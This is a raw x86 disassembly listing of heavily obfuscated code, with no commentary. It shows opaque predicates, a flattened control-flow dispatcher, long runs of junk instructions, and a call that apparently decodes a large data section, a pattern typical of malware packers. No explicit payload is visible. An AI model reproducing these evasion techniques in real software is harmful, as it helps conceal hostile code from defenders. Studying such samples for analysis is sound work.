and eax, 0x4fc672f1
or eax, ecx
xor eax, 0x4fc672f1
setne ch
sete ah
cmp dword [0x493580], 0xa
mov al, ch
setge cl
setl dl
inc al
or cl, ah
or ch, dl
mov ah, cl
or cl, ch
xor ah, ch
xor cl, 1
or cl, ah
mov ah, dl
xor ah, al
or al, dl
xor ah, 1
mov dl, ah
xor dl, al
or al, ah
xor al, 1
or al, dl
mov edx, ecx
xor al, 1
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xed699683
cmovne ecx, esi
test al, 1
mov eax, 0xed699683
jmp 0x412f61
mov eax, dword [0x493584]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
and ecx, 0x67e5c18b
and edx, 0x981a3e74
or edx, ecx
mov eax, edx
mov esi, edx
xor eax, 0x67e5c18b
xor edx, 0x5b56933d
xor esi, 0x18000234
and edx, eax
mov ecx, eax
or ecx, 0xc34cad49
and esi, 0x1c0042b6
and eax, 0xfffffffe
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x62bf9449
and edx, 0x9d406bb6
or ecx, ebx
and ebx, 0x62bf9449
or esi, edi
or edx, ebx
not ecx
xor edx, esi
mov esi, 0x900b75f2
or ecx, edx
mov edx, ecx
not edx
and ecx, 0xff0f3c3e
and edx, 0xf0c3c1
or ecx, edx
xor ecx, 0xc3bc6e89
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xea0ae30a
and ecx, 0x15f51cf5
or ecx, eax
xor ecx, 0xea0ae30a
setne ah
sete cl
cmp dword [0x493580], 0xa
mov ch, ah
setge al
setl dl
or al, cl
or cl, dl
or ch, dl
xor dl, ah
mov ah, cl
mov dh, ch
xor ah, dl
or dl, cl
xor dh, al
or al, ch
xor dl, 1
xor al, 1
or dl, ah
or al, dh
mov ah, dl
xor ah, 1
mov cl, ah
and cl, dl
xor cl, 1
or cl, dl
mov edx, eax
xor cl, 1
xor dl, 1
or cl, ah
and dl, cl
xor cl, 1
and cl, al
or cl, dl
mov edx, eax
xor dl, ah
or ah, al
xor ah, 1
or ah, dl
mov edx, 0x91475369
mov al, ah
xor al, cl
test ah, 1
cmovne edx, esi
test cl, 1
cmove edx, esi
test al, 1
mov eax, 0x91475369
jmp 0x412e2d
mov eax, 0xc20b523b
jmp 0x4021f0
mov eax, dword [0x493584]
mov edi, 0xe733ff64
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
not ecx
and edx, 0xfffffffe
mov eax, ecx
and ecx, 1
and eax, 0xfffffffe
or ecx, edx
or ecx, eax
mov edx, ecx
xor edx, 0x4fe8c5fa
mov eax, ecx
and eax, 0x88fe185b
and edx, ecx
not ecx
and ecx, 0x7701e7a4
or eax, ecx
mov ecx, eax
xor eax, 0x4700c5a0
xor ecx, 0x8080010
or eax, 0xb0173a05
and ecx, 0xc0884b0
mov esi, eax
and esi, 0xd3e5614f
or ecx, esi
mov esi, edx
not esi
and edx, 0x2c1a9eb0
or eax, esi
and esi, 0xd3e5614f
or edx, esi
not eax
mov esi, 0x5bcd1894
xor edx, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0xac922495
and ecx, 0x536ddb6a
or eax, ecx
mov ecx, eax
xor ecx, 0xc372a168
xor eax, 0x8010e90
and ecx, 0xd7f6b168
and eax, 0x28094e97
or eax, ecx
mov ecx, eax
xor ecx, 0xc0b60028
xor eax, 0x20094e10
and eax, 0x3749ff50
and ecx, 0xc8b600af
or ecx, eax
xor ecx, 0xc8b600af
sete dl
setne al
cmp dword [0x493580], 0xa
mov ch, dl
setl ah
setge cl
and al, ah
or ah, dl
and ch, cl
xor cl, dl
mov dl, ah
or al, ch
xor dl, cl
or cl, ah
xor al, 1
xor cl, 1
mov ch, al
or cl, dl
or ch, cl
xor al, cl
mov cl, ch
xor cl, al
test al, al
mov eax, 0xe733ff64
cmovne eax, esi
test ch, ch
cmovne eax, edi
jmp 0x413829
mov eax, dword [ebp - 0x20]
mov edx, dword [eax]
mov ecx, edx
mov eax, edx
xor eax, 0xdfffffff
not ecx
mov esi, ecx
and esi, 0xdfffffff
and eax, edx
and ecx, 0xe81ad0c0
or eax, esi
mov esi, eax
not esi
and eax, 0x79f4f246
and esi, 0x860b0db9
or eax, esi
mov esi, eax
xor esi, 0x6810d040
xor eax, 0x860b0db9
mov edi, eax
or eax, edx
and edx, 0x17e52f3f
and edi, 0x17e52f3f
and esi, 0xe81ad0c0
or esi, edi
or ecx, edx
not eax
xor ecx, esi
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xfdc138f2
and ecx, 0x23ec70d
or eax, ecx
mov ecx, dword [0x493584]
xor eax, 0xfdc138f2
mov dword [ebp - 0x138], eax
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
andn edx, eax, eax
not eax
and ecx, 0x48d06b64
and eax, 0xb72f949b
or ecx, eax
xor ecx, 0x48d06b64
or edx, ecx
mov eax, edx
xor eax, 0x333fc83e
mov ecx, edx
and ecx, 0x69e2ba86
and eax, edx
not edx
and edx, 0x961d4579
or ecx, edx
mov edx, ecx
mov esi, ecx
xor edx, 0x69e2ba86
xor esi, 0xa5228d47
xor ecx, 0x86104120
and esi, edx
or edx, 1
and ecx, 0x87d2e926
or eax, esi
mov esi, eax
not esi
and eax, 0x4baff5a0
and esi, 0xb4500a5f
or eax, esi
mov esi, eax
xor esi, 0x902907
xor eax, 0x876fc260
mov edi, eax
or eax, edx
and edx, 0x782d16d8
and edi, 0x782d16d8
and esi, 0x87d2e927
or esi, edi
or ecx, edx
not eax
mov edi, 0x33efe420
xor ecx, esi
or eax, ecx
mov ecx, eax
not ecx
mov esi, eax
or esi, 0xa202314
and eax, 0x90964400
mov edx, ecx
or edx, 0x45098802
and esi, 0x4f29ab16
and ecx, 0x204010e9
and edx, 0x4f29ab16
or ecx, esi
mov esi, 0xc6e813b
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0xa8dfb0ae
and ecx, 0x57204f51
or eax, ecx
xor eax, 0xcd962845
sete dl
setne ah
cmp dword [0x493580], 0xa
setl ch
setge al
mov dh, ch
xor dh, ah
mov cl, dh
xor cl, al
xor al, ah
and dl, al
and al, ch
and cl, dh
mov ah, dl
xor dl, al
xor al, 1
xor ah, 1
or al, ah
xor al, 1
or al, dl
mov edx, ecx
xor cl, al
xor dl, 1
xor al, 1
or al, dl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x33efe420
cmovne edx, esi
test cl, 1
mov ecx, edx
cmovne ecx, edi
test al, 1
cmovne ecx, edx
mov eax, ecx
jmp 0x4021f0
mov eax, 0xebe5bcd3
jmp 0x4021f0
mov eax, 0x95af9490
jmp 0x4021f0
mov eax, dword [ebp - 0x30]
mov ecx, dword [0x493584]
mov eax, dword [eax]
movzx eax, word [eax]
mov word [ebp - 0xea], ax
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0xa2049844
mov esi, edx
and esi, 0x10920782
mov edi, edx
or edi, 0x901404c6
and edx, 0xb8c58c45
or ecx, esi
and edi, 0xd11d24ff
mov esi, ecx
xor esi, 0x22009800
xor ecx, 0x511924bb
and ecx, 0xd11d24ff
and esi, 0x22829b00
or esi, ecx
mov ecx, eax
and ecx, 0xc604000
and eax, 0x473a73ba
or ecx, edi
or eax, edx
xor ecx, esi
mov esi, ecx
not esi
and ecx, 0xb2969fc7
and esi, 0x4d696038
or ecx, esi
mov esi, ecx
not esi
mov edx, ecx
and edx, 0x172c3b0d
and esi, 0xe8d3c4f2
or esi, edx
mov edx, eax
xor edx, 0x401240b2
xor eax, 0xb8c58c45
or ecx, eax
and eax, 0x172c3b0d
and edx, 0xe8d3c4f2
or edx, eax
not ecx
xor edx, esi
mov esi, 0x3904288e
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x5ca6529e
and eax, 0xa359ad61
or ecx, eax
cmp ecx, 0x5ca6529e
sete al
cmp dword [0x493580], 0xa
setl cl
setge dl
mov ah, cl
xor dl, al
or ah, al
xor al, cl
mov ecx, edx
xor ah, 1
or al, ah
xor cl, al
or al, dl
mov edx, ecx
xor dl, al
test al, al
mov eax, 0x4d8d14ed
cmovne eax, esi
test cl, cl
mov ecx, 0x4d8d14ed
cmove eax, esi
test dl, dl
cmove eax, ecx
jmp 0x4021f0
mov eax, dword [ebp - 0x14]
mov eax, 0x80182858
jmp 0x4021f0
mov eax, 0x891e4397
jmp 0x4021f0
mov eax, dword [ebp - 0x24]
mov dword [eax], 0x10
mov eax, dword [ebp - 0x48]
mov ecx, dword [0x493584]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov esi, eax
and esi, 0xd9fc26ca
mov ecx, edx
and ecx, 0x2603d934
and edx, 0xe09e8a5d
or esi, ecx
mov ecx, eax
and ecx, 1
and eax, 0x1f6175a2
xor esi, 0xd9fc26ca
or eax, edx
or ecx, esi
mov edx, ecx
not edx
and ecx, 0x433fad8
mov esi, edx
and esi, 0xfbcc0527
or ecx, esi
mov esi, eax
xor esi, 0x4217080
xor eax, 0xe08c0005
and eax, 0xfbcc0527
and esi, 0x433fad8
or esi, eax
xor esi, ecx
not esi
or esi, edx
xor esi, 0xffffffff
mov esi, 0xaf87c94
sete ch
setne ah
cmp dword [0x493580], 0xa
mov dh, ch
setl dl
setge al
mov cl, dl
or dh, al
and ah, dl
or dl, ch
xor cl, ch
xor dh, 1
and cl, al
and al, ch
or al, ah
mov ah, dl
or cl, dh
xor al, 1
xor ah, al
or al, dl
mov edx, ecx
xor al, 1
or al, ah
mov ah, al
xor dl, al
and al, cl
and dl, cl
not ah
xor cl, 1
and cl, ah
or al, cl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x4a130c31
cmovne eax, esi
test dl, dl
mov edx, 0x4a130c31
cmove eax, edx
test cl, 1
cmovne eax, esi
jmp 0x4021f0
mov eax, 0xd1a9f6a2
jmp 0x4021f0
mov eax, 0x3b464d3c
jmp 0x4021f0
mov ecx, dword [0x493584]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x781245ee
mov esi, edx
and esi, 0x87edba10
and edx, 0xa02f9323
or esi, ecx
mov ecx, eax
or ecx, 0x781245ee
and eax, 0x5fd06cdc
and ecx, 0x781245ef
or eax, edx
xor ecx, esi
mov edi, eax
xor edi, 0x49406c0c
xor eax, 0x81022
mov edx, ecx
not edx
and ecx, 0xe967ef0d
and eax, 0x169810f2
and edi, 0xe967ef0d
mov esi, edx
and esi, 0x169810f2
or edi, eax
or ecx, esi
xor edi, ecx
not edi
or edi, edx
xor edi, 0xffffffff
setne ah
sete al
cmp dword [0x493580], 0xa
mov dh, ah
setl ch
setge dl
mov cl, ch
and dh, dl
or ah, ch
and cl, al
xor al, ch
or cl, dh
and al, ch
xor cl, 1
xor al, 1
or cl, dl
mov ch, al
or al, ah
mov edx, ecx
xor ch, ah
xor al, 1
xor dl, 1
or al, ch
mov ah, dl
mov ch, al
and ah, cl
xor ch, 1
xor ah, 1
or ah, cl
xor ah, 1
or ah, dl
mov dh, ah
and ah, ch
xor ch, cl
xor dh, 1
and dh, al
or al, dl
xor al, 1
or ah, dh
mov edx, 0xedadb715
or al, ch
mov ecx, eax
xor cl, ah
test cl, 1
mov ecx, 0x78a55321
cmovne ecx, edx
test al, 1
mov edx, 0x78a55321
cmovne edx, ecx
test ah, 1
jmp 0x41251a
mov eax, dword [0x493584]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x927708ae
mov esi, eax
and esi, 0x29088201
and eax, 0x872f15be
or edx, esi
mov esi, edx
xor esi, 0x20400a4
xor edx, 0x6d88f751
mov edi, edx
and edi, 0x98fb2b4b
and esi, 0x230480a4
or esi, edi
mov edi, ecx
xor edi, 0xbb7f8aaf
and edi, ecx
and ecx, 0x78d0ea41
mov ebx, edi
not ebx
and edi, 0x6704d4b4
or eax, ecx
or edx, ebx
and ebx, 0x98fb2b4b
or edi, ebx
not edx
xor edi, esi
or edx, edi
mov esi, edx
not esi
and edx, 0xbb7f8aae
and esi, 0x44807551
or edx, esi
mov esi, edx
not esi
and edx, 0x872f15be
mov edi, esi
and edi, 0x78d0ea41
or edx, edi
xor eax, edx
not eax
or eax, esi
mov esi, 0xa718cfa3
cmp eax, 0xffffffff
setne al
cmp dword [0x493580], 0xa
setge cl
setl dl
or cl, al
xor dl, al
xor cl, 1
xor dl, cl
and cl, dl
mov eax, edx
xor al, cl
mov eax, 0x9416d58a
cmovne esi, eax
test dl, dl
mov eax, 0xa718cfa3
cmovne eax, esi
test cl, cl
cmove eax, esi
jmp 0x4021f0
mov eax, 0x240bb0c9
jmp 0x4021f0
mov eax, dword [ebp - 0x74]
mov dword [eax], 4
mov eax, 0xe107e947
jmp 0x4021f0
cmp byte [ebp - 0x9f], 0
mov eax, 0xdf3fa901
mov ecx, 0xa58af952
cmovne eax, ecx
jmp 0x4021f0
push eax
mov eax, esp
mov dword [ebp - 0x3c], eax
push eax
mov eax, esp
mov dword [ebp - 0x50], eax
push eax
mov eax, esp
mov dword [ebp - 0xd4], eax
push eax
mov eax, esp
mov dword [ebp - 0xac], eax
push eax
mov eax, esp
mov dword [ebp - 0x30], eax
push eax
mov eax, esp
mov dword [ebp - 0xb0], eax
push eax
mov eax, esp
mov dword [ebp - 0x40], eax
push eax
mov eax, esp
mov dword [ebp - 0x44], eax
push eax
mov eax, esp
mov dword [ebp - 0xd8], eax
push eax
mov eax, esp
mov dword [ebp - 0x80], eax
push eax
mov eax, esp
mov dword [ebp - 0x84], eax
push eax
mov eax, esp
mov dword [ebp - 0x54], eax
push eax
mov eax, esp
mov dword [ebp - 0xb4], eax
push eax
mov eax, esp
mov dword [ebp - 0x70], eax
push eax
mov eax, esp
mov dword [ebp - 0xdc], eax
push eax
mov eax, esp
mov dword [ebp - 0x48], eax
push eax
mov eax, esp
mov dword [ebp - 0x74], eax
push eax
mov eax, esp
mov dword [ebp - 0x20], eax
push eax
mov eax, esp
mov dword [ebp - 0x5c], eax
push eax
mov eax, esp
mov dword [ebp - 0x88], eax
push eax
mov eax, esp
mov dword [ebp - 0x60], eax
push eax
mov eax, esp
mov dword [ebp - 0x34], eax
sub esp, 0x78
mov eax, esp
mov dword [ebp - 0x64], eax
push eax
mov eax, esp
mov dword [ebp - 0x78], eax
sub esp, 8
mov eax, esp
mov dword [ebp - 0x98], eax
push eax
mov eax, esp
mov dword [ebp - 0xb8], eax
mov ecx, dword [ebp + 8]
mov eax, dword [ebp - 0x7c]
mov dword [eax], ecx
neg esi
mov ebx, 0xbb
dec esi
inc esi
imul edi
inc edx
inc edx
bswap ebx
or eax, 0x63
sbb ebx, 0x10
mov esi, 0xc3
and esi, 0x71
rol edi, 0xfc
add eax, 3
bswap ebx
and ebx, 0x9e
add edi, 0x36
ror edx, 0x92
rol edi, 6
dec ebx
bswap edx
neg eax
imul eax
rcr eax, 0xc9
sub esi, 0xee
bswap ebx
rol esi, 0xca
add edx, 0x2e
or eax, 0x3f
rcr eax, 0x8a
rcl eax, 0xe6
and esi, 0xa0
rcr ebx, 0xca
ror eax, 0xb8
sbb ebx, 0x63
add ebx, 0x61
sbb esi, 0x6f
and edi, 0x8f
ror esi, 0xa1
rol edi, 0x4a
not ebx
neg edx
not esi
add ebx, 0x40
rcl ebx, 0x20
or eax, 0x7d
and edi, 0xa3
rol ebx, 0x4a
sbb edi, 0x86
rcr edx, 0x12
ror eax, 0xb
ror edi, 0x3b
imul esi
and esi, 0x3d
neg edx
dec ebx
or esi, 0x5a
add ebx, 0xa9
imul edx
neg esi
mov ebx, 0xc2
rcl eax, 0xb9
imul edx
sbb edi, 0x9b
inc ebx
not edx
sbb eax, 0x46
neg esi
dec edx
not esi
or edi, 0xca
rcr eax, 0x18
rol ebx, 0xaa
dec edx
ror edx, 0xd0
rol eax, 0xd4
neg esi
dec esi
imul esi
inc ebx
neg eax
or ebx, 0x2c
dec esi
not ebx
imul edi
dec esi
inc ebx
dec eax
imul ebx
ror esi, 4
ror eax, 0xe5
mov eax, 0x50
rol edx, 0x9b
not edx
sub eax, 0
rol eax, 0x55
and edi, 0xa9
imul edi
not edi
ror edi, 0x97
or ebx, 0xd6
bswap esi
neg edx
sbb ebx, 0xa5
rcr esi, 0x6f
inc edx
imul edx
not esi
dec ebx
not esi
not edx
inc esi
inc esi
neg esi
neg ebx
or eax, 0xbe
dec esi
not esi
rcr esi, 0xc0
neg ebx
not eax
imul eax
rol edx, 0xa0
mov edx, 0x91
dec edx
ror ebx, 0xff
sub eax, 6
imul eax
ror eax, 0xd8
mov ebx, 0x48
and esi, 0xe2
neg esi
not esi
ror ebx, 0x3c
rol edi, 0x66
or ebx, 0xc7
and esi, 0x31
sbb eax, 0x7d
add eax, 0x26
mov eax, 0x8c
rcl ebx, 0xc9
inc eax
and ebx, 0xa6
dec edi
inc esi
bswap eax
mov esi, 0xb3
dec ebx
dec eax
sbb ebx, 0x50
bswap edx
imul esi
and ebx, 0xf2
rol edi, 0x13
not ebx
inc eax
sub eax, 0x83
not ebx
sbb eax, 0x9f
inc edx
rcr edi, 0xd3
sbb edi, 0xb6
inc edx
not edi
dec edi
mov edx, 0x97
neg edi
mov eax, 0x7b
neg eax
or edi, 0x5c
dec esi
imul ebx
inc edi
not esi
not esi
mov edx, 0x1b
sbb esi, 0x6f
bswap edi
ror edx, 6
sbb esi, 0xc3
ror esi, 7
sub esi, 0x62
dec edi
neg eax
inc edx
bswap edx
inc edx
sbb edx, 0xe8
ror eax, 0xcc
bswap eax
bswap edx
dec ebx
sbb edi, 0x39
add esi, 0x3b
bswap ebx
rol eax, 0x50
or ebx, 0x26
mov eax, 0xa7
sub eax, 0x84
rol edx, 0xcd
sbb ebx, 0x10
rcl ebx, 0xe1
dec esi
ror esi, 0x13
imul edx
rcl edx, 0x6a
mov edi, 0x1b
sub esi, 0x51
or edi, 0x26
rcl edi, 0x86
neg eax
sub esi, 0x30
or esi, 0x12
bswap eax
neg edx
mov eax, 0x57
rcl eax, 0xcf
or edx, 0xf2
neg edi
inc esi
bswap esi
dec esi
inc edi
rcl eax, 0x5e
mov edx, 0x2b
rcr edi, 0xe3
ror edi, 0x47
rcr esi, 0x85
bswap eax
neg edx
rcr edx, 0x41
rcl edi, 0xd5
and eax, 0xef
ror edx, 7
neg ebx
rcl eax, 0xc0
bswap eax
sbb edi, 1
mov eax, 0xe8
and edi, 5
ror esi, 0xb2
not edi
add edx, 0x25
rcr eax, 0xd3
sbb edi, 0xca
imul edx
rcl edx, 0x9f
imul edi
inc edx
imul eax
dec eax
rcr eax, 0xe4
sbb esi, 0x46
or edi, 0x10
sub edx, 0xa4
rcl edx, 0x14
or edx, 0x29
neg ebx
inc edx
imul edi
rcr edi, 0
dec edx
not esi
inc edi
not esi
or esi, 0xec
inc edi
dec edi
sbb edx, 0x93
sbb ebx, 0x30
bswap esi
mov eax, 0xe7
inc esi
bswap ebx
sbb ebx, 0xa7
ror edi, 0xef
neg ebx
rcl edi, 0xfd
rcr edi, 0xc1
inc esi
bswap eax
and eax, 0xb4
or edx, 0xcd
mov edi, 0x7c
add edi, 0xec
and ebx, 0x7a
neg edi
rol edx, 0x14
bswap edx
imul edx
neg edx
mov eax, 0x2b
or ebx, 0x20
rol esi, 0x2e
bswap edi
mov edi, 0x39
not edx
not edx
imul edx
bswap eax
rol ebx, 0x9c
imul edi
ror eax, 0xed
rcr ebx, 0xad
add ebx, 0x80
not esi
neg edi
dec esi
inc edx
neg edx
rol ebx, 0x55
sbb edx, 0xbd
dec edi
inc edi
dec ebx
imul esi
imul edi
dec eax
bswap edi
rcl ebx, 0x50
mov ebx, 0xb9
neg eax
or edi, 0xb0
not esi
and ebx, 0x11
mov esi, 0xee
sbb ebx, 0x4b
ror edi, 0x91
inc esi
neg eax
rol edx, 0x34
not edx
add esi, 0xe3
dec edx
add ebx, 0x7f
imul edx
rcr edx, 0x19
or eax, 0x28
ror edx, 0xaa
add esi, 0xae
dec ebx
rcr esi, 0xb4
not edx
inc edx
dec ebx
sbb edi, 0x90
not ebx
and edi, 0x5d
mov esi, 0x7f
inc eax
mov ebx, 0x7d
dec esi
rcl eax, 0xf7
sbb edx, 0xdc
sbb edx, 0x24
bswap esi
not edx
imul edi
sub ebx, 0xac
or edx, 5
rol edi, 0x70
rol edx, 0x69
not edi
imul ebx
mov ebx, 0x3c
not ebx
sub esi, 0x40
sub edi, 0x3f
ror ebx, 0xb5
rol eax, 0xbb
bswap ebx
inc eax
mov esi, 0x44
mov edi, 0x62
bswap edi
dec edi
rol eax, 0x9f
neg esi
bswap eax
rcl esi, 0xb0
or esi, 0x39
neg eax
imul ebx
inc edi
inc eax
ror ebx, 0x27
inc eax
dec edi
sbb edx, 0x6f
bswap ebx
neg edi
bswap esi
or ebx, 0xb6
bswap eax
bswap eax
bswap eax
dec edi
add esi, 0x50
mov edx, 0x16
sub edx, 0x62
neg edi
mov edx, 0xc9
inc edx
or edi, 0xb
and edx, 0x5b
ror eax, 0xc5
dec esi
and esi, 0x2c
not edi
inc edi
bswap edi
rcl eax, 0xaa
dec eax
sbb eax, 0xb6
sub eax, 0x98
dec edx
dec edi
not edx
neg edi
neg edi
neg esi
neg edx
neg esi
mov edx, 0xdb
sbb ebx, 0x1e
sub esi, 0x8f
sub esi, 0x20
mov eax, 0xb8
not eax
rol ebx, 0x32
sub edi, 0xab
sbb esi, 0x30
sub edx, 0x98
add edi, 0xee
imul edx
imul edi
and edx, 0x90
bswap eax
sbb ebx, 0xf8
add ebx, 0x8e
or edx, 0xca
mov eax, 0x3d
inc edx
or edi, 0xfd
inc edx
dec eax
dec edi
bswap edi
inc eax
sub esi, 0xf9
neg edi
sub esi, 0x9b
and edi, 0x8d
and eax, 0xed
bswap esi
sbb edi, 0xf9
or eax, 0xaf
mov edx, 0x4a
sub eax, 0x56
not ebx
mov edi, 0xe7
mov edi, 0xc6
inc esi
add eax, 0xb7
rcl edi, 0x1e
mov esi, 0x86
ror esi, 0x59
neg esi
inc esi
rcr esi, 0x2a
inc edi
ror edx, 0xbc
bswap edi
sub esi, 0x90
bswap ebx
sbb esi, 0xd6
dec ebx
sbb eax, 0xab
rcl eax, 0xf3
neg esi
inc eax
imul esi
inc edx
not eax
rcl edx, 0x21
bswap edx
bswap edx
dec ebx
add ebx, 0xf
mov ebx, 0xaf
sbb ebx, 0x9f
mov edx, 0x21
mov edi, 0x8c
inc eax
and esi, 0x33
inc eax
dec esi
inc edi
or ebx, 0xba
mov edx, 0xe9
imul esi
neg eax
and ebx, 0x62
neg esi
rcr edx, 0x9a
imul edx
add esi, 0x6a
bswap edi
bswap edx
inc edx
sbb edx, 0x3e
or ebx, 0x8a
rol edx, 0xb
rcl edx, 0xd0
bswap edi
mov eax, 0xe0
inc edx
imul eax
or edi, 0x14
imul eax
imul edi
bswap edx
rol ebx, 0x91
imul esi
mov eax, 0x9d
rol ebx, 0x66
bswap edi
neg edx
not ebx
bswap eax
bswap edx
rcr edi, 0x71
dec edi
rcl esi, 0xf1
rol eax, 0xce
add edx, 0x20
rol edx, 0xaa
neg edx
neg ebx
rol edi, 0xeb
rcl esi, 0x9e
mov eax, 0xf1
not esi
not ebx
neg esi
inc eax
rcr ebx, 0xb0
inc edx
bswap edx
rol eax, 0x3e
sbb edi, 0xb3
inc ebx
rcr edx, 0x78
inc edx
bswap eax
rcr esi, 0x6b
inc eax
rcl eax, 0x38
bswap esi
not eax
rcl edx, 0x85
bswap esi
inc edi
neg ebx
and esi, 0x43
imul esi
sbb edi, 0xeb
not edx
and edi, 0x3e
sbb esi, 7
imul edi
dec edi
inc edi
sbb edi, 0x6d
rcr edi, 0x92
sub eax, 0x7d
bswap edx
add ebx, 0x8f
imul edi
not eax
bswap eax
mov edx, 0x63
or eax, 0x52
and esi, 0xdc
not ebx
sub ebx, 0xd0
imul edx
dec esi
and esi, 0xe1
not edi
add esi, 0x41
rol edx, 8
add esi, 0x73
rol eax, 0x8c
and edx, 0xeb
neg edx
dec esi
sub ebx, 0x43
neg edx
add esi, 0xcc
mov edx, dword [ebp - 0x1c]
mov dword [edx], eax
push 0x4b200
push section..data
vzeroupper
call section..text
add esp, 8
mov eax, dword [ebp - 0x7c]
mov dword [eax], section..data
inc edx
sbb ebx, 0xae
add esi, 0x94
bswap esi
neg ebx
mov edi, 0xef
imul eax
mov edi, 0xc6
neg ebx
inc esi
inc ebx
neg esi
imul esi
bswap edx
sbb edx, 0xcb
not edx
dec edi
imul edi
inc edx
and edx, 0x24
and edx, 0xf8
rcl edx, 3
imul ebx
sub eax, 0xf4
rol ebx, 0xcb
rcl eax, 0xbf
inc edi
rol esi, 0xa
neg esi
rol esi, 0x38
not esi
inc ebx
neg ebx
rol eax, 0xdc
dec edi
mov esi, 0x52
imul edi
rcr edx, 0x1d
ror edx, 0x65
sbb edi, 0x1f
inc esi
rcr ebx, 0x7d
mov eax, 0x43
sub edi, 0xf5
dec edi
sub ebx, 0x71
neg edi
mov esi, 0xb
neg eax
bswap edi
not esi
imul edx
and eax, 0x47
or eax, 0xec
sub edi, 0xf5
inc edi
inc esi
ror eax, 0x58
bswap ebx
bswap ebx
neg esi
sbb edi, 0x31
ror esi, 0xb1
and edx, 0x54
sub esi, 0x1f
bswap edi
bswap edx
not edx
or edx, 0x88
not edi
not eax
or esi, 0x32
inc eax
rol eax, 0x55
bswap esi
not eax
dec eax
imul edx
imul ebx
sbb eax, 0xb0
imul edx
sbb edi, 0xac
dec esi
sbb ebx, 0x67
inc eax
or edi, 0x8b
sbb esi, 0x64
ror edx, 0x32
neg edx
rcr edi, 0x8c
dec eax
rcl edx, 0xc5
rcl edx, 0xaf
imul edx
sbb edi, 0x32
dec edx
bswap esi
neg ebx
dec esi
add eax, 0x8f
dec edx
not esi
add esi, 0xd9
not edx
ror ebx, 0xa4
bswap edx
sbb eax, 0xa3
neg edi
sbb eax, 0xa2
rol edx, 0x9f
not edi
imul ebx
add edi, 2
bswap esi
and edi, 0x79
ror ebx, 0xee
dec eax
sbb eax, 0xa2
dec ebx
mov esi, 0x91
sbb edx, 0x17
neg ebx
not esi
rcr eax, 0x12
sub edi, 8
mov edx, 0xca
inc esi
rcl edi, 0x9f
rol esi, 0x10
dec eax
neg esi
rcr esi, 0x91
add edx, 0xd
mov edi, 0x31
inc esi
bswap esi
not edi
neg esi
rcl esi, 0x15
mov edi, 0xd1
or edx, 0x38
rol eax, 0x29
dec esi
imul ebx
and edx, 0x35
rcr ebx, 0xa6
dec edi
sub esi, 0x9b
rol esi, 0x51
neg edi
not ebx
rcl esi, 0xcf
and ebx, 0x4d
or esi, 0x64
not edx
not edi
bswap ebx
bswap ebx
neg eax
bswap esi
dec eax
neg edx
mov ebx, 0x10
imul esi
imul ebx
mov eax, 0xc8
or edi, 0x6c
imul eax
inc eax
bswap eax
inc esi
rol edi, 0xa5
neg esi
rcl edi, 0xbf
inc esi
add edi, 0xe1
not ebx
and esi, 0x61
add edx, 0x91
mov esi, 0xe3
not ebx
or ebx, 0x8e
or edi, 0x8a
or ebx, 0x3e
mov esi, 0x7b
sub ebx, 0xf9
imul eax
sbb edx, 0xd1
neg edi
rcr edi, 0x32
sub edi, 0xf7
ror esi, 0x12
add ebx, 0x4f
not esi
mov edx, 0xc3
sbb edx, 0x1b
rol esi, 0x88
rcr eax, 0x33
imul esi
rol esi, 0x28
dec edx
add eax, 0x94
ror edx, 0x97
imul edi
sub edi, 0x7a
ror esi, 0x33
imul eax
neg esi
dec eax
inc edi
mov edi, 0xf2
imul edi
and edx, 0xab
dec eax
inc edx
neg ebx
or edi, 0xf5
bswap edi
mov ebx, 0x70
rol eax, 0x83
not edx
neg edx
rcl edx, 0x46
sbb edx, 0x4b
rcl ebx, 0x42
inc edi
mov esi, 8
rcr ebx, 0x63
inc esi
rcl edi, 0x77
sbb edi, 0x75
neg esi
bswap edx
rcr ebx, 0x16
sub eax, 0x74
ror edx, 0x99
add ebx, 0xbf
or eax, 0x9c
dec esi
not eax
and edi, 0xed
not eax
and ebx, 0xd0
neg edx
and edx, 0x6f
sbb ebx, 0xf0
sbb edi, 0x2a
neg edi
rcr edi, 0xd3
neg edx
or esi, 0xc
sub ebx, 0x52
and ebx, 0x47
or esi, 0x40
not esi
rcr edi, 0x68
bswap ebx
not edi
bswap edi
bswap edx
rol eax, 0xb1
dec eax
neg ebx
inc edi
not ebx
or eax, 0xca
neg ebx
inc ebx
sbb edi, 0x83
bswap eax
not esi
sbb ebx, 0x22
rol eax, 0xaa
rcl ebx, 0x94
or ebx, 0x45
ror ebx, 0xc6
rcr edi, 0x1d
sbb esi, 0x6a
bswap edi
sbb esi, 0xf4
bswap ebx
rol edx, 0xa6
bswap edi
not esi
rcl edi, 0xd0
sbb edx, 0x3d
rcl esi, 0x18
rcl edi, 0x3b
dec esi
sbb ebx, 0x16
imul esi
sub edi, 0xf
rol ebx, 0x68
sbb eax, 0xef
inc esi
bswap edi
sbb ebx, 0x7d
sub edx, 0xeb
rcr edx, 0xc6
sbb esi, 0x8b
add edx, 0x76
ror eax, 0xc2
inc esi
neg esi
sbb edx, 0xaf
sub edi, 0xd
rcr ebx, 0x5a
and edx, 0x2c
imul ebx
or ebx, 0x50
or edx, 0x6e
sub edi, 3
dec ebx
imul ebx
dec ebx
dec edi
not esi
and edi, 0x28
imul edi
not ebx
sub edi, 0x19
dec edi
imul edx
imul edx
ror ebx, 0xa2
add eax, 0x62
neg ebx
imul eax
sbb esi, 0x77
inc ebx
sub edi, 0x96
sub edi, 0x40
neg edx
bswap ebx
rcr edi, 0x5e
neg eax
rol eax, 0x9c
and edx, 0xf3
sbb esi, 0x43
neg eax
